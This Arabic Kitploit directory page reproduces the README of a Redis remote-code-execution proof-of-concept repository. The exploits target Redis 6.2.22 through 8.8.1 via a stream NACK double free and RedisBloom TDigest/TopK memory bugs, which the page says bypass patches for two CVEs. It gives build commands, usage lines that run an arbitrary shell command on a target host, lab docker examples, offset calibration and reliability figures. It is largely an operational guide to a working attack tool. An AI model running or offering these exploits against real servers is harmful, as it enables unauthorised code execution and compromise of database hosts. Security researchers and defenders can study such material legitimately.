Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
redis-poc — RCE PoC لـ Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 | Kitploit
أدوات/GitHubGitHub/berabuddies/redis-poc
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمرأمن قواعد البياناتاستغلال الملفات الثنائية
GitHubberabuddies/redis-poc

redis-poc

RCE PoC لـ Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1

عرض المستودع
4871186منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Redis Authenticated RCE (ثغرة NACK المزدوجة في stream، وأخطاء وحدتي TDigest وTopK)

استغلالات RCE غير مدمرة لـ Redis 6.2.22 و7.4.9 و8.6.4 عبر التحرير المزدوج المشترك لـ NACK في مجموعة مستهلكي البث (تجاوز تصحيح CVE-2026-25243)، و8.8.0 عبر تجاوز سعة الكومة في TDigest داخل وحدة RedisBloom المدمجة، و8.8.1 عبر تحرير عشوائي في TopK (تجاوز تصحيح CVE-2026-25589).

الملفات

  • A_exploit_stock.py — استغلال لـ 6.2.22 (صورة redis:6.2.22)
  • P74_exploit.py (+ P74_g2.py) — استغلال لـ 7.4.9 (redis:7.4)
  • P86_exploit.py — استغلال لـ 8.6.4 (redis:8.6)
  • P88W_exploit.py (+ , ) — استغلال لـ (، عبر تجاوز سعة الكومة في TDigest الخاص بالوحدة المدمجة)
تنزيل الأداة
P88W_lib.py
P88W_corrupt.py
8.8.0
redis:8.8.0
  • T88_exploit.py — استغلال لـ 8.8.0 و8.8.1 (عبر التحرير العشوائي في TopK الخاص بالوحدة المدمجة؛ تجاوز لإصلاح CVE-2026-25589 غير المكتمل — يعمل على RedisBloom الإصدار v8.8.0 وv8.8.2)
  • A_lib.py, G2_arbread.py — أدوات مساعدة مشتركة (يجب أن تكون بجانب ملفات الاستغلال)
  • crc64.c/h, crcspeed.c/h — مصادر لـ libcrc64.so (CRC64 الخاص بـ Redis، مطلوب لبناء حمولات RESTORE صالحة)
  • calibrate.sh — حساب الإزاحات الثنائية للنسخ غير الرسمية
  • P74_loop.sh, P86_run.sh — أغلفة إعادة محاولة الإقلاع
  • البناء (مرة واحدة)

    root@kitploit:~
    gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
    

    المتطلبات: Python 3.6+ (بدون حزم pip)، gcc.

    الاستخدام

    root@kitploit:~
    # 6.2.22 (DEBUG مفعّل افتراضيًا)
    python3 A_exploit_stock.py <host> <port> [password] [trigger]
    
    # 7.4.9 / 8.6.4 — هدف قياسي، لا حاجة لعلامة DEBUG
    python3 P74_exploit.py <host> <port> [password] [trigger]
    python3 P86_exploit.py <host> <port> [password] [trigger]
    
    # 8.8.0 — هدف قياسي، يُنصح بشدة بحاوية/نسخة جديدة تمامًا
    python3 P88W_exploit.py <host> <port> [password] [trigger]
    
    # 8.8.0 / 8.8.1 — التحرير العشوائي في TopK، هدف قياسي، يُنصح بنسخة جديدة
    python3 T88_exploit.py <host> <port> [password] [trigger]
    
    • password — احذفه (أو مرّر "") للأهداف دون مصادقة
    • trigger — أمر شل، الافتراضي يكتب دليلًا تحت /data/pwned*

    أمثلة:

    root@kitploit:~
    # مختبر محلي، 6.2.22
    docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
    python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
    
    # مختبر محلي، 7.4.9
    docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
    python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
    
    # مختبر محلي، 8.6.4
    docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
    python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
    
    # مختبر محلي، 8.8.0
    docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
    python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
    python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
    

    متطلبات الهدف

    • 6.2.22: إزاحات الصورة الرسمية افتراضيًا. للنسخ الأخرى، تجاوز الإزاحات (--str-format-off إلخ؛ راجع --help)، أو شغّل ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] لتوليدها. الإزاحات الخاطئة تسبب انهيار الخادم الهدف (قراءات خارج النطاق).
    • 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1: صور رسمية قياسية، لا حاجة لعلامة debug.
    • الأوامر المتاحة للمستخدم: EVAL, RESTORE, XGROUP (إصدارا 8.8.0/8.8.1 يحتاجان أيضًا وحدة RedisBloom المدمجة، وهي موجودة افتراضيًا).
    • استغلالا 8.8.0/8.8.1 حسّاسان لتخطيط الذاكرة: ممر TDigest والتحرير العشوائي في TopK يعتمدان على تخطيط jemalloc — استخدم نسخة جديدة دون أي عملاء/أوامر أخرى متداخلة، وأعد المحاولة عند فشل التهيئة.

    ملاحظات

    • مخلفات ما بعد التنفيذ (متعمّدة، خاملة): عدد من مفاتيح الاستغلال التي تُبقي الكتل المحررة مزدوجًا حيّة؛ راجع HARDENING.md للتفاصيل. استغلال 8.8.0 يترك ~2000 بنية tdigest مصفّرة + مفتاح oracle تالف — لا تنفّذ FLUSHALL/SAVE على الهدف بعد ذلك.
    • التحرير المزدوج المشترك لـ NACK تم إصلاحه فقط في 8.8.0 (PR #15081)؛ استغلال 8.8.0 يستخدم بدلًا من ذلك خطأً منفصلًا غير مُصلح في وحدة مدمجة.
    • تجاوزات تصحيح موثّقة: متغير shared-NACK يتجاوز إصلاح CVE-2026-25243؛ والتحرير العشوائي في TopK يتجاوز إصلاح CVE-2026-25589 (تصفير مؤشرات جزئي — TopK_Destroy ما زال يقرأ جميع مؤشرات k إلى ما بعد الكومة صغيرة الحجم في كل من RedisBloom v8.8.0 وv8.8.2).
    • الموثوقية: 6.2.22 بنسبة 10/10، و7.4.9 بنسبة 5/5، و8.6.4 بنسبة 25/25، و8.8.0 بنسبة 5/5 تم التحقق منها على حاويات جديدة. حالات الفشل تنتهي بنظافة؛ أعد التشغيل أو استخدم الأغلفة.

    للاستخدام في الاختبارات المصرّح بها فقط.